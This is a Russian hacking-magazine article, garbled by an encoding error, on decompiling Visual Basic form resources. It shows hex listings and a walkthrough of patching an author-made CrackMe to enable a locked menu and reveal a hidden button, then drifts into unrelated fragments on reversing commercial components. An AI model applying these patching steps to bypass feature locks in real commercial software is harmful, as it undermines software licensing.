ÍÈÊÀÊÎÉ ÈÍÔÎÐÌÀÖÈÈ Î ÐÅÄÀÊÒÈÐÎÂÀÍÈÈ ÔÎÐÌ È ÊÎÍÒÐÎËÎÂ ÍÀ ÍÈÕ. ÍÀ×ÍÅÌ
ÈÑÏÐÀÂËßÒÜ ÑÈÒÓÀÖÈÞ ÏÐßÌÎ ÑÅÉ×ÀÑ |GPCH (ADMIN@VB-DECOMPILER.ORG)

ÈÑÏÎËÜÇÓß ÈÍÔÎÐÌÀ-

ÖÈÞ ÈÇ ÝÒÎÉ ÑÒÀÒÜÈ,

ÒÛ ÁÅÇ ÒÐÓÄÀ ÍÀÏÈ-

ØÅØÜ ÑÂÎÉ RESOUR-

ÑEHACKER ÄËß VISUAL

BASIC, ÀÍÀËÎÃÎÂ ÊÎÒÎ-

ÐÎÌÓ ÍÀ ÑÅÃÎÄÍßØÍÈÉ

ÄÅÍÜ ÍÅ ÑÓÙÅÑÒÂÓÅÒ

ÇÀÃËßÍÈ ÍÀ ÊÎÌÏÀÊÒ-ÄÈÑÊ — ÒÀÌ ÒÛ ÍÀÉÄÅØÜ

ÂÑÅ ÍÅÎÁÕÎÄÈÌÎÅ ÄËß ÈÑÑËÅÄÎÂÀÍÈß VB-ÔÎÐÌ
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Íàäåþñü, ÷òî, êîãäà ïðî÷èòàåøü ýòó ñòàòüþ, òû
ðàçáåðåøüñÿ, êàê óñòðîåíû ôîðìû VB è êàê ðàç-
áèðàòü èõ è ñîáèðàòü çàíîâî. Â áèíàðíîì óïàêî-
âàííîì âèäå êàæäûé îáúåêò íà÷èíàåòñÿ ñî ñâîé-
ñòâà Name è çàêàí÷èâàåòñÿ èäåíòèôèêàòîðîì, ïî
êîòîðîìó ìîæíî âûÿñíèòü, èäóò ëè äðóãèå îáúåê-
òû äàëüøå, âëîæåííîñòü îáúåêòîâ è èõ çàâåðøå-
íèå, òàêæå ìåíþ. Ñâîéñòâà ÷åðåäóþòñÿ êðàéíå
ïðîñòî: ñíà÷àëà èäåò èäåíòèôèêàòîð ñâîéñòâà,
çàòåì — ñàìî çíà÷åíèå, çà íèì — ñëåäóþùèé
èäåíòèôèêàòîð. Èäåíòèôèêàòîðû FF00-FF05 çà-
ðåçåðâèðîâàíû. Âîò èõ îïèñàíèå:

Public Const vbFormNewChildControl = &H1FF

Public Const vbFormExistingChild-

Control = &H2FF

Public Const vbFormChildControl = &H3FF

Public Const vbFormEnd = &H4FF

Public Const vbFormMenu = &H5FF

Ïåðåä íàìè âñòàåò òàêàÿ ïðîáëåìêà: îòêóäà áðàòü
èäåíòèôèêàòîðû âñåõ ñâîéñòâ âñåõ êîíòðîëîâ?
Ðåøåíèå î÷åíü ïðîñòîå. ß óæå ñîñòàâèë òàáëèöó
ïóòåì âûäèðàíèÿ ýòèõ ñâîéñòâ èç TypeLib’îâ VB è
èõ ìíîãî÷èñëåííûõ èñïðàâëåíèé (òàáëèöó ìîæíî
íàéòè íà ïðèëàãàåìîì ê æóðíàëó äèñêå). À ñåé÷àñ
ïðèñòóïèì ê ðåàëüíîìó ïðèìåðó (ëèñòèíã 1).

Ñìèâîë 0D óêàçûâàåò íà òî, ÷òî èìÿ ôîðìû
ñîäåðæèò 0Dh ñèìâîëîâ. Äàëåå èäåò èìÿ "AC_Ex-
Dec_03_B", îíî çàâåðøàåòñÿ íóëåâûì áàéòîì, çà-
òåì — âíîâü 0Dh. Ñëåäóþùèé áàéò 01h îïðåäåëÿ-
åì ïî òàáëèöå äëÿ ôîðìû — ýòî Caption. Ñëåäîâà-
òåëüíî, çà íèì äîëæíà èäòè äëèíà ñòðîêè è ñàìà
ñòðîêà. Ñî ñòðîêàìè â VB íå âñå ãëàäêî: â íåêîòî-
ðûõ ñâîéñòâàõ îáúåêòîâ îí õðàíèò ñòðîêè â ACIIZ-
ôîðìàòå, à â äðóãèõ — â Unicode-ôîðìàòå.

Ðàñïîçíàòü ôîðìàò íåâîçìîæíî. Åäèí-
ñòâåííûé ñïîñîá — ïðîñòî çàïîìíèòü, êàêèå
ñâîéñòâà èìåþò Unicode-ôîðìàò, à êàêèå — êà-
êîé-òî äðóãîé. Ê ïðèìåðó, Caption è Name — âñåã-
äà â ASCII, íî Tag, Connect è íåêîòîðûå äðóãèå
èìåþò Unicode-ôîðìàò.

Âåðíåìñÿ ê íàøèì äàííûì. 03 — ýòî
BackColor ñîãëàñíî íàøåé òàáëèöå. Ñëåäîâàòåëü-
íî, ñëåäóþùèå 4 áàéòà îòâå÷àþò çà 32-áèòíûé êîä
öâåòà. Äàëåå èäåò 19 — ScaleMode. Ñëåäóþùèé çà
íèì Word îïðåäåëÿåò ìàñøòàá. 42 — WhatsThis-
Button, çà íèì — 1 áàéò, îïðåäåëÿþùèé ëîãè÷å-
ñêîå True (FF) èëè False (0). Ïåðåéäåì ê ñàìîìó
èíòåðåñíîìó, ÷òî åñòü â ôîðìàõ, — ê ñëåäóþùåìó
áàéòó 23 (ýòî Icon). Âîîáùå ïðè ïðîãðàììèðîâà-
íèè íà VB ôîðìû õðàíÿòñÿ â ôàéëå frm, à ãðàôè-
êà è ïðî÷èå áîëüøèå äàííûå — â frx. frm â ñâîþ
î÷åðåäü ññûëàåòñÿ íà îïðåäåëåííûé àäðåñ â ýòîì
frx, â êîòîðîì õðàíèò âñå èñïîëüçóåìûå äàííûå
îäèí çà äðóãèì. Ïîñëå êîìïèëÿöèè ñîäåðæèìîå frx
âñòðàèâàåòñÿ â ôîðìó, ïîýòîìó â ðàññìàòðèâàå-
ìîì ñëó÷àå ïîñëå áàéòà 23 áóäåò èäòè èêîíêà â
ôîðìàòå stdole.Picture. Åñëè áåðåòñÿ èêîíêà ïî
óìîë÷àíèþ èç MSVBVM60.DLL, òî ïîñëå 23 ìû
óâèäèì FFFFFFFF (â ïðîòèâíîì ñëó÷àå — ðàçìåð

êàðòèíêè). Èìåííî ñòîëüêî áàéò ìû äîëæíû ñ÷è-
òàòü ïîñëå àäðåñà, ÷òîáû ïîëó÷èòü âñþ èñïîëüçó-
åìóþ èêîíêó. 3E 04 00-00 = 43E = 1086 áàéò. Èìåí-
íî ÷åðåç ñòîëüêî áàéò êîí÷èòñÿ èêîíêà è ïðîäîë-
æèòñÿ ôîðìà, êîòîðóþ ìû äåêîìïèëèðóåì
(ëèñòèíã 2).

Òåïåðü âèäèì 24 — ýòî LinkTopic. Ïîñëå íå-
ãî èäåò ñòðîêà. Ìû óæå óìååì äîñòàâàòü ñòðîêè,
ïîýòîìó ïîéäåì äàëüøå. Â òàáëèöå íåò îïêîäà
35, íî ÿ ðàññêàæó, ÷òî îí ïðåäñòàâëÿåò ñîáîé âñå-
ãî ëèøü ëèíåéíûå ðàçìåðû êëèåíòñêîé ÷àñòè

ôîðìû. Çà áàéòîì 35 èäóò ÷åòûðå dword'à: Client-
Left, ClientTop, ClientWidth, ClientHeight ñîîòâåò-
ñòâåííî. Çàòåì âèäèì 46 (StartUpPosition) — îäèí
áàéò, îïðåäåëÿþùèé ïîçèöèþ ôîðìû ïðè çàïóñêå
(â öåíòðå ýêðàíà, ãäå ïîëó÷èòñÿ èëè â öåíòðå Pa-
rent-ôîðìû).

Âîò ìû è äîøëè äî ñàìîãî èíòåðåñíîãî —
FF01. ß óæå ãîâîðèë î êîíñòàíòàõ, îïðåäåëÿþùèõ
êîíåö îäíèõ êîíòðîëîâ èëè íà÷àëî äðóãèõ. FF01 —
ýòî vbFormNewChildControl. Îí îïðåäåëÿåò, ÷òî
äàëåå èäåò êîíòðîë, êîíòåéíåðîì äëÿ êîòîðîãî

ëëèèññòòèèííããèè

Ëèñòèíã 11
00 00 00 00-00 00 00 00-00 00 04 00-00 00 0D 00       ??  ??   ?

41 43 5F 45-78 44 65 63-5F 30 33 5F-42 00 0D 01  AC_ExDec_03_B ??

27 00 43 72-61 63 6B 6D-65 20 66 6F-72 20 4A 6F  ' Crackme for Jo

73 65 70 68-43 6F 27 73-20 45 78 44-65 63 20 50  sephCo's ExDec P

72 6F 67 72-61 6D 2E 2E-2E 00 03 08-00 00 80 19  rogram... ??  ??

01 00 42 00-23 3E 04 00-00 6C 74 00-00 36 04 00  ? B #>?  lt  6?

00 00 00 01-00 02 00 20-20 10 00 00-00 00 00 E8     ? ?   ?     ?

02 00 00 26-00 00 00 10-10 10 00 00-00 00 00 28  ?  &   ???     (

01 00 00 0E-03 00 00 28-00 00 00 20-00 00 00 40  ?  ??  (       @

00 00 00 01-00 04 00 00-00 00 00 80-02 00 00 00     ? ?     ??

00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

00 00 00 00-00 80 00 00-80 00 00 00-80 80 00 80       ?  ?   ?? ?

00 00 00 80-00 80 00 80-80 00 00 80-80 80 00 C0     ? ? ??  ??? +

C0 C0 00 00-00 FF 00 00-FF 00 00 00-FF FF 00 FF  ++              

00 00 00 FF-00 FF 00 FF-FF 00 00 FF-FF FF 00 00                

Ëèñòèíã 22 
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61 62 65 6C-31 00 01 01-6A 00 41 63-69 64 5F 43  abel1 ??j Acid_C

6F 6F 6C 5F-31 37 38 27-73 20 45 78-44 65 63 20  ool_178's ExDec

43 72 61 63-6B 6D 65 20-30 33 2E 42-2C 20 6A 75  Crackme 03.B, ju

73 74 20 65-6E 61 62 6C-65 20 74 68-65 20 62 75  st enable the bu

74 74 6F 6E-2E 2E 2E 20-4D 61 79 62-65 20 74 68  tton... Maybe th

69 73 6F 6E-65 20 69 73-20 61 62 69-74 20 65 61  isone is abit ea

73 69 65 72-20 74 68 61-6E 20 45 78-44 65 63 20  sier than ExDec

30 33 2E 41-00 03 00 00-00 00 04 FF-FF FF 00 05  03.A ?    ?    ?

78 00 78 00-AF 14 47 04-12 00 00 25-01 00 00 00  x x ?¶G??  %?

BC 02 A4 2C-02 00 0E 43-65 6E 74 75-72 79 20 47  +??,? ?Century G

6F 74 68 69-63 FF 02 04-50 00 00 00-2E F4 B5 01  othic ??P   .?¦?

C9 42 34 4B-9A 3F 43 B2-41 04 7C 5E-00 00 00 00  +B4K??C¦A?|^

Ëèñòèíã 33
00 00 02 07-00 6D 6E 75-53 61 76 65-00 13 03 09  O• mnuSave !¦0

00 D1 EE F5-F0 E0 ED E8-F2 FC 00 05-00 FF 02 1A  Ñîõðàíèòü ¦ ÿO>



ÿâëÿåòñÿ ôîðìà. Ñíà÷àëà ñòàíäàðòíî: dword —
ðàçìåð èíôîðìàöèè î ñëåäóþùåì êîíòðîëå. Çà-
òåì — èìÿ êîíòðîëà.

Äàëüøå ïîøëè ñâîéñòâà. 01 — Caption, 03 —
BackColor, 04 — ForeColor, 05 — ëèíåéíûå ðàçìåðû.
Äåêîìïèëèðóþòñÿ ïîäîáíî ëèíåéíûì ðàçìåðàì
êëèåíòñêîé ÷àñòè ôîðìû, ñ îäíîé íåáîëüøîé ðàçíè-
öåé: êàæäûé èç ðàçìåðîâ çàíèìàåò íå 4, à 2 áàéòà.

12 (TabIndex) — èíäåêñ, èñïîëüçóåìûé äëÿ
ïåðå÷èñëåíèÿ êîíòðîëîâ íà ôîðìû ïðè íàæàòèè
<Tab>. Ìíîãèå ïðîãðàììèñòû çàáûâàþò ïðîñòà-
âèòü åãî ïîñëå ðàçðàáîòêè ïðîãðàììû, ïîýòîìó
ëþáèòåëè ðàáîòàòü íà êîìïüþòåðå íå ïðèêàñàÿñü ê
ìûøè ïëþþòñÿ è ðóãàþò ïðîãðàììó è ðóêè àâòîðà.
ß ïîääåðæèâàþ èõ ãíåâ — ïðîãðàììèñò îáÿçàí âû-
ñòàâèòü ýòî ñâîéñòâî, òàê êàê èíà÷å îí íå ñîáëþäåò
ïðàâèëî ïðîôåññèîíàëüíîé ðàçðàáîòêè èíòåðôåé-
ñîâ. Ýòîò èíäåêñ îïðåäåëÿåòñÿ äâóìÿ áàéòàìè, ÷òî

îçíà÷àåò: íà ôîðìó íåâîçìîæíî ïîìåñòèòü áîëåå
65535 êîíòðîëîâ. Çàòåì èäåò 1B. Îäíî èç ñàìûõ
èíòåðåñíûõ ñâîéñòâ — Font. Â îòëè÷èå îò äðóãèõ,
îíî îïèñûâàåòñÿ êëàññîì stdole.Font, êîòîðûé åñòü
òîëüêî â VB. Òàê ÷òî ïèñàòü äåêîìïèëÿòîð VB íå íà
VB — ýòî áîëüøîé ãåìîððîé, èìåííî èç-çà êëàñ-
ñîâ, çàøèòûõ â áèáëèîòåêè VB.

Â êîíöå âñåõ êîíòðîëîâ âèäèì FF0204. Êàê òû
ïîìíèøü, 02 — ýòî vbFormExistingChildControl. Åñëè
òû çàêðûâàåøü êîíòðîë, 04 (vbFormEnd) çàêðûâàåò
ôîðìó. Ñìîòðè, ÷òî ïîëó÷èëîñü áû, åñëè áû ìû çà-
ïèñûâàëè òî, ÷òî äåêîìïèëèðîâàëè â óìå (ëèñòèíã
âçÿò èç ìîåãî äåêîìïèëÿòîðà VB Decompiler):

Begin VB.Form AC_ExDec_03_B 'Offset:

000010FA

Caption = "Crackme for JosephCo's 

ExDec Program..."

BackColor = &H80000008&

ScaleMode = 1

WhatsThisButton = 0 'False

Icon = "AC_ExDec_03_B.frx":0

LinkTopic = "Form1"

ClientLeft = 60

ClientTop = 345

ClientWidth = 5580

ClientHeight = 3075

StartUpPosition = 3 'Windows Default

Begin VB.Frame Frame1 'Offset: 000015A6

Caption = "Button is in here"

BackColor = &H0&

ForeColor = &HFFFFFF&

Left = 120

Top = 1440

Width = 5295

Height = 1335

TabIndex = 1

BeginProperty Font

Name = "Century Gothic"

Size = 14,25

Charset = 0

Weight = 700

Underline = 0 'False

Italic = 0 'False

Strikethrough = 0 'False

EndProperty

... è òàê äàëåå

Òåïåðü ïðåäëàãàþ íà êîíêðåòíîì ïðèìåðå ðàçáëîêèðî-
âàòü çàëî÷åííîå ìåíþ è ïîêàçàòü íåâèäèìóþ êíîïêó.

ðàçëî÷èâàåì ììåíþ. Ñïåöèàëüíî äëÿ äåìîí-
ñòðàöèè ÿ íàïèñàë ïðîñòåíüêèé CrackMe.

Â íåì çàáëîêèðîâàí ïóíêò ìåíþ «Ñîõðà-
íèòü», êàê ÷àñòî óñòðàèâàþò â êîììåð÷åñêèõ ïðî-
ãðàììàõ. Ïîïðîáóåì ðàçáëîêèðîâàòü. Êàêèå æå
ñïîñîáû åñòü äëÿ òîãî, ÷òîáû ñäåëàòü ìåíþ íåàê-
òèâíûì? Ñóùåñòâóåò âñåãî äâà ïóòè. Ïåðâûé —
ïðè ïðîåêòèðîâàíèè ïîñòàâèòü ñâîéñòâî Enabled â
False ìåíþ. Âòîðîé — óñòàíîâèòü ýòî ñâîéñòâî êî-
äîì ïðè çàïóñêå ôîðìû. Ïðåäïîëîæèì, êîäåð ïî-
ëåíèëñÿ è óñòàíîâèë ýòî ñâîéñòâî ïðè ðàçðàáîòêå
ìåíþ. Ìû æå äåêîìïèëèðóåì ýòîò ïðîåêò è ïîñìî-
òðèì, ÷òî ïîëó÷èëîñü. Äëÿ ïðîñòîòû íå áóäåì çà-
íîâî äåêîìïèëèòü â óìå, à âîçüìåì ìîé äåêîìïè-
ëÿòîð (Lite-âåðñèÿ âïîëíå ïîäîéäåò) è ïóñòèì åãî â
äåëî. Â ðàçäåëå «Ôîðìû» íàõîäèòñÿ âñåãî îäíà
ôîðìà. Ïîèùåì òàì ìåíþ:

Begin VB.Menu mnuFile 'Offset: 000011B3

Caption = "Ôàéë"

Begin VB.Menu mnuSave 'Offset:

000011CF

Caption = "Ñîõðàíèòü"

Enabled = 0 'False

End

Begin VB.Menu Separator 'Offset: 000011F0

Ñðåäñòâî äëÿ èññëåäîâàíèÿ VB-ïðîãðàìì

Â äåêîìïèëÿòîðå îò÷åòëèâî âèäíî, 
÷òî íóæíî ïàò÷èòü

È íà ýòîò ðàç äåêîìïèëÿòîð ðàñêóñèë çëîé
çàìûñåë øàðîâàðùèêà

ÍÅ ÇÀÁÛÂÀÉ, ×ÒÎ ÈÑ-

ÑËÅÄÎÂÀÍÈÅ ×ÓÆÈÕ

ÏÐÈËÎÆÅÍÈÉ — ÝÒÎ

ÂÑÅÃÄÀ ÇËÎ. ÒÀÊ ×ÒÎ

ÕÎÒß ÁÛ ÈÇÐÅÄÊÀ ÏÎ-

ÃËßÄÛÂÀÉ, ÍÅ ÍÀÐÓØÀ-

ÅØÜ ËÈ ÒÛ ËÈÖÅÍÇÈÞ, —

ÈÇÁÅÆÈØÜ ÂÍÅÏËÀÍÎ-

ÂÎÃÎ ÃÅÌÎÐÐÎß



Caption = "-"

End

Begin VB.Menu mnuExit 'Offset: 0000120B

Caption = "Âûõîä"

End

End

Îï-ïà! «Enabled = 0» — òî, ÷òî ìû èñêàëè. Òåïåðü
ïîäóìàåì, êàê ïîïðàâèòü. Îòêðîåì ïðîãðàììó â
HIEW è ïåðåéäåì ïî àäðåñó 11F0 (ëèñòèíã 3).

Âñå ñòàíäàðòíî. Ñíà÷àëà Name, çàòåì Cap-
tion (03) è 05 — Enabled. Äàëüøå èäåò îäèí áàéò
00á, ÷òî îçíà÷àåò False. Çàìåíè åãî íà FF (True) è
ïîïðîáóé çàïóñòèòü. Ïðè íàæàòèè íà ìåíþ ðàçáëî-
êèðîâêè âûâîäèòñÿ MessageBox «cool». Âîò è âñå!

îòëàâëèâàåì iinvisibles. Íåñìîòðÿ íà ICQ’øíûé
ñòèëü çàãîëîâêà, ìû íå áóäåì ïèñàòü ïëàãèí îïðå-
äåëåíèÿ invisible, òîëüêî ïîïûòàåìñÿ ñäåëàòü ñêðû-
òûå êíîïêè âèäèìûìè.

Äëÿ áîëüøåãî ðåàëèçìà ÿ íàïèñàë CrackMe,
êîòîðûé äåëàåò êíîïêó «Ñîõðàíèòü» âèäèìîé ÷å-
ðåç òðè ñåêóíäû ïîñëå çàïóñêà. Âîò è ïîñìîòðèì â
äåêîìïèëÿòîðå, ÷òî èçìåíèëîñü â ïîâåäåíèè êíîï-
êè «Ñîõðàíèòü»:

Begin VB.CommandButton cmdSave 'Offset: 

00001175

Caption = "Ñîõðàíèòü"

Left = 1680

Top = 1800

Width = 1335

Height = 375

Visible = 0 'False

TabIndex = 1

End

Ñðàçó áðîñàåòñÿ â ãëàçà «Visible = 0» (â òàáëèöå
îíî çíà÷èòñÿ êàê 09). Ïåðåõîäèì ïî ñìåùåíèþ
1175 è ïðîõîäèì âñå ñâîéñòâà äî 09. Âèäèì 00
(ýòî False), ìåíÿåì åãî íà FF (True) — îòëè÷íî,
äåëî ñäåëàíî. Íî! Ìîé CrackMe áûë ñäåëàí ñïå-
öèàëüíî òàê, ÷òîáû ìîæíî áûëî âçëîìàòü åãî
ðàçíûìè ñïîñîáàìè.

Ðàññìîòðèì åùå îäèí ñïîñîá: êàê ñäåëàòü
êíîïêó âèäèìîé ÷åðåç òðè ñåêóíäû. Ìîæíî ñäåëàòü
öèêë ïðè çàïóñêå ïðîãðàììû, íî íà ðàçíûõ ïðîöåñ-
ñîðàõ îí áóäåò ðàáîòàòü ñ ðàçíîé ñêîðîñòüþ. Ìîæ-
íî èñïîëüçîâàòü GetTickCount, íî ïîòðåáóåòñÿ ïðî-
âåðÿòü åãî â While-öèêëå, ÷òî òîæå íåóäîáíî. Ïðî-
ãðàììèñòû ñòðàøàòñÿ ýòîãî è ïîëüçóþòñÿ òàéìåðà-
ìè (íåâèäèìûìè êîíòðîëàìè íà ôîðìå, ó êîòîðûõ
ñîáûòèå ñðàáàòûâàåò êàæäûå Interval ìèëëèñå-
êóíä). Ïîèùåì ëþáèìûé òàéìåð íà ôîðìå:

Begin VB.Timer Timer1 'Offset: 00001155

Interval = 3000

Left = 2880

Top = 0

Width = 59400

Height = 8

End

Òàê è åñòü! 3000 ìèëëèñåêóíä — ýòî òðè ñåêóíäû.
Çàìåíèì èõ íà îäíó. Îäíàêî àâòîð çàáûë ïîñòà-
âèòü End ïîñëå óñòàíîâêè ñâîéñòâà â êíîïêó, ïîý-
òîìó ïîñëå ñîáûòèÿ òàéìåð áóäåò ñðàáàòûâàòü è
äàëüøå, è ïîýòîìó ïðîãðàììà íà÷íåò òîðìîçèòü. Â
ýòîé ñèòóàöèè âûãîäíåå è ïðîùå èñïîëüçîâàòü
ïðåäûäóùèé ñïîñîá, à òàéìåð — ïðîñòî îòêëþ-
÷èòü, ïîñòàâèâ èíòåðâàë â 0.

íîâûå ññâîéñòâà. ×èòàÿ ñòàòüþ, òû íàâåðíÿêà
çàäàëñÿ âîïðîñîì î òîì, êàê äîáàâèòü íîâîå ñâîé-
ñòâî â óïàêîâàííûé êîíòðîë? Åäèíñòâåííûé ñïî-
ñîá — ðàçáîð, âñòàâêà è çàòåì ñáîðêà âñåé ôîðìû.
ßñíî, ÷òî äàííûå íå ïîìåñòÿòñÿ íà ñòàðîå ìåñòî, ïî-
ýòîìó ïðèäåòñÿ ñîçäàâàòü íîâóþ ñåêöèþ â ôàéëå
èëè ðàñøèðÿòü ïîñëåäíþþ è ðåäèðåêòèòü äàííûå
òóäà. Êðîìå òîãî — ïðîïèñàòü àäðåñ íà íîâîå ðàñ-
ïîëîæåíèå ôîðìû â ñòðóêòóðå èíôîðìàöèè î ôîð-

ìå. Ïðèòîì ó÷èòûâàåì, ÷òî åñëè ïîëüçîâàòåëü áóäåò
÷àñòî äîáàâëÿòü ñâîéñòâà, òî çàðàíåå â íîâîé ñåê-
öèè íóæíî ñäåëàòü çàïàñ â âèäå ðåçåðâíûõ áàéò ïîä
ðàñøèðåíèå êàæäîé ôîðìû. Ïðèäåòñÿ õðàíèòü âñþ
ýòó èíôîðìàöèþ î ðåçåðâå áàéò è íà÷àëå è äëèíå
êàæäîé ôîðìû, âûíåñåííîé â íîâóþ ñåêöèþ. Äëÿ
ýòîãî ñîçäàåòñÿ ñâîÿ ñëóæåáíàÿ ñòðóêòóðà.

Âñå ýòî áóäåò ïîëåçíî òîëüêî åñëè òû âîçü-
ìåøüñÿ ïèñàòü ñâîé ðåäàêòîð ðåñóðñîâ VB. Åñëè
æå ïðîñòî ñîáèðàåøüñÿ èññëåäîâàòü ïðîãðàììû,
òî çíàíèé ýòîé ñòàòüè âïîëíå äîñòàòî÷íî.

âîò èè ââñå! Íàäåþñü, ó òåáÿ íå îñòàëîñü âî-
ïðîñîâ ïî ðåäàêòèðîâàíèþ èíòåðôåéñà VB-ïðî-
ãðàìì. Åñëè âñå-òàêè îñòàëîñü, çàäàâàé èõ íà ìî-
åì ôîðóìå, ïîñâÿùåííîì âîïðîñàì äåêîìïèëèðî-
âàíèÿ VB (http://vbdecompiler.dotfix.net). Ïåðèîäè÷åñêè
ÿ ÷èòàþ åãî è îòâå÷àþ íà âîïðîñû 
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Òàáëèöà 11. Ñòðóêòóðà VVBHeader

Ï î ë å Ò è ï Î ï è ñ à í è å

Signature String * 4 Ñèãíàòóðà "VB5!"

RuntimeBuild Integer Ïîêàçàòåëü ðàíòàéìîâîñòè
LanguageDLL String * 14 ßçûêîâàÿ áèáëèîòåêà
BackupLanguageDLL String * 14 Íå âëèÿåò íà ðàáîòó EXE
RuntimeDLLVersion Integer Âåðñèÿ ðàíòàéì-áèáëèîòåêè
LanguageID Long ßçûê ïðîãðàììû
BackupLanguageID Long Èñïîëüçóåòñÿ ñîâìåñòíî ñ
LanguageDLL aSubMain Long Main-ïðîöåäóðà, çàïóñêàåìàÿ ïðè ñòàðòå EXE. 

Åñëè îòñóòñòâóåò, òî ïðè çàãðóçêå ãðóçèòñÿ 
ñàìàÿ ïåðâàÿ ôîðìà

aProjectInfo Long Óêàçàòåëü íà ñòðóêòóðó ProjectInfo
fMDLIntObjs Long
fMDLIntObjs2 Long
ThreadFlags Long Ôëàãè ïîòîêà
ThreadCount Long ×èñëî ïîòîêîâ (ñìûñë ìàëîïîíÿòåí, òàê êàê VB 

íå ïîçâîëÿåò ñîçäàâàòü ìíîãîïîòî÷íûå ïðîãðàììû)
FormCount Integer ×èñëî ôîðì â äàííîì ôàéëå
ExternalComponentCount Integer ×èñëî âíåøíèõ OCX-êîìïîíåíòîâ
ThunkCount Long
aGUITable Long Óêàçàòåëü íà GUITable
aExternalComponentTable Long Óêàçàòåëü íà ExternalComponentTable
aComRegisterData Long Óêàçàòåëü íà ComRegisterData
oProjectExename Long Àäðåñ ñòðîêè ñ èìåíåì EXE-ôàéëà
oProjectTitle Long Àäðåñ ñòðîêè ñ çàãîëîâêîì ïðîåêòà
oHelpFile Long Àäðåñ ñòðîêè ñ èìåíåì Help-ôàéëà
oProjectName Long Àäðåñ ñòðîêè ñ èìåíåì ïðîåêòà

Òàáëèöà 22. Ñòðóêòóðà ttGuiTable

Ï î ë å Ò è ï Î ï è ñ à í è å

SectionHeader Long Àäðåñ çàãîëîâêà, îïèñûâàþùåãî ñåêöèè
unknown(59) Byte Íåèñïîëüçóåìûé áëîê-áàéò
FormSize Long Ðàçìåð áëîêà, îïèñûâàþùåãî ôîðìó è êîíòðîëû, 

ëåæàùèå íà íåé
un1 Long Íåèñïîëüçóåìûé DWORD
aFormPointer Long Óêàçàòåëü íà áëîê, îïèñûâàþùèé ôîðìó 

è êîíòðîëû, ëåæàùèå íà íåé
un2 Long Íåèñïîëüçóåìûé DWORD



Âîçüìåì òàêîé ïðèìåð. Êîìàíäà ðàçðàáîò÷èêîâ
ïèøåò êîðïîðàòèâíûé çàêàç (íåêàÿ êîìïàíèÿ çàêà-
çàëà èì ðàçðàáîòêó ïðîãðàììû). Ïî ïëàíó êîìàíäå
òàêæå ïðåäñòîèò ðàçðàáîòêà íåêîãî êîìïîíåíòà, íî
ó ïðîãðàììèñòîâ è áåç òîãî äåë ïî óøè. Êàê îáû÷-
íî, îíè íå óñïåâàþò â ñðîê :). Â ðåçóëüòàòå øåô ÷å-
øåò ðåïó è äóìàåò, ñòîèò ëè íàíèìàòü åùå îäíîãî
÷åëîâåêà äëÿ íàïèñàíèÿ íåîáõîäèìîãî êîìïîíåíòà
è ïëàòèòü åìó $1000 â ìåñÿö, åñëè çà ýòè æå äåíüãè
ìîæíî êóïèòü ãîòîâûé êîìïîíåíò. ×àùå âñåãî âû-
áèðàþò ïîñëåäíåå. Âåñü ýòîò ïðîöåññ ÿ íàáëþäàë
íå ðàç. Åñëè áû íå êîììåð÷åñêîå îáñòîÿòåëüñòâî,
âðÿä ëè ìíå ïðèøëîñü áû ïèñàòü ýòó ñòàòüþ.

Ñàìûå ðàñïðîñòðàíåííûå êîìïîíåíòû ïðåä-
ñòàâëÿþò ñîáîé ýëåìåíòû ãðàôè÷åñêîãî èíòåð-
ôåéñà: button, progress bar, editbox, listbox, combo-
box, grid è ò.ä. Òàêèå êîìïîíåíòû èíîãäà íàçûâàþò
êîíòðîëàìè. Grid-êîíòðîë, ïîæàëóé, â ðåàëèçàöèè
îêàçûâàåòñÿ îäíèì èç ñàìûõ ñëîæíûõ. Ïî÷òè
âñåãäà îí ÿâëÿåòñÿ öåíòðîâûì, è ÷àñòî ñëó÷àåòñÿ
òàêîå, ÷òî õèòðûìè ìàðêåòèíãîâûìè òåëîäâèæå-
íèÿìè âìåñòå ñ íèì êòî-òî ïûòàåòñÿ ïðîäàòü äðó-
ãèå, ÷àùå âñåãî ïðîñòî íåíóæíûå êîíòðîëû. Ñå-
ãîäíÿ ìû áóäåì ðàññìàòðèâàòü ðåâåðñèíã êîìïî-
íåíòîâ èìåííî íà ïðèìåðå Grid-êîíòðîëà.

Êàê òû óæå äîãàäàëñÿ, Grid-êîíòðîë — ýòî òàáëè-
öà. Grid’û âåñüìà ðàçíîîáðàçíû ïî ôóíêöèîíàëó:
îò óìåþùèõ ðàáîòàòü íàïðÿìóþ ñ èñòî÷íèêàìè äàí-
íûõ DataSource äî ïîçâîëÿþùèõ ñîçäàâàòü Nested
Tables (âëîæåííûå òàáëèöû).

ãëàâíûå õõàðàêòåðèñòèêè GGrid-êêîíòðîëà —
ýòî, âî-ïåðâûõ, ñêîðîñòü ðåíäåðà, âî-âòîðûõ, ýêî-
íîìèÿ ïàìÿòè, ñêîðîñòü äîáàâëåíèÿ íîâûõ ýëå-
ìåíòîâ, íàäåæíîñòü è óäîáñòâî èñïîëüçîâàíèÿ.
Âñåé ýòîé ïðåëåñòè ìîæíî äîñòè÷ü ñ ïîìîùüþ òàê
íàçûâàåìîé òåõíîëîãèè Virtual Render Control, ïðè
êîòîðîé ïðîèñõîäèò ïðîðèñîâêà íå âñåãî êîíòðî-
ëà, à òîëüêî ÷àñòè, íàõîäÿùåéñÿ â View Region
(îáëàñòü, êîòîðóþ ìîæåò âèäåòü ïîëüçîâàòåëü).
Êîíå÷íî, òî, ÷òî âèäèò ïîëüçîâàòåëü, è òî, ÷òî ðè-
ñóåò Grid, — äâà ðàçíûõ ïîíÿòèÿ. Ê ïðèìåðó, â òâî-
åì Grid’å åñòü 1000 ýëåìåíòîâ, íî â äàííûé ìî-
ìåíò òû ìîæåøü âèäåòü òîëüêî 20. Grid âñå ðàâíî
ïðîðèñîâûâàåò 1000, èç íèõ 980 ðèñóåò â íåâèäè-
ìîé ÷àñòè. Íî îí ðèñóåò èõ è òðàòèò âðåìÿ! Âîò ïî-
÷åìó Grid äîëæåí çàðàíåå çíàòü, ñêîëüêî ýëåìåí-
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ÂÇËÎÌ ÊÎÌÏÎÍÅÍÒÎÂ ÍÀ ÏÐÀÊÒÈÊÅ

Õàêèíã 
àïïàðàòíûõ ñðåäñòâ

Ì.: ÇÀÎ «Íîâûé 
èçäàòåëüñêèé äîì», 2005 
Ìàêñèì Ëåâèí / 288 ñòðàíèö
Ðàçóìíàÿ ööåíà: 130 ðóáëåé

Äàëåêî íå òîëüêî ïðîã-
ðàììíîå îáåñïå÷åíèå

ñòàíîâèòñÿ æåðòâîé âçëîìà. Áîëåå òîãî,
óòâåðæäàþò, ÷òî ïåðâûé õàê áûë èìåííî
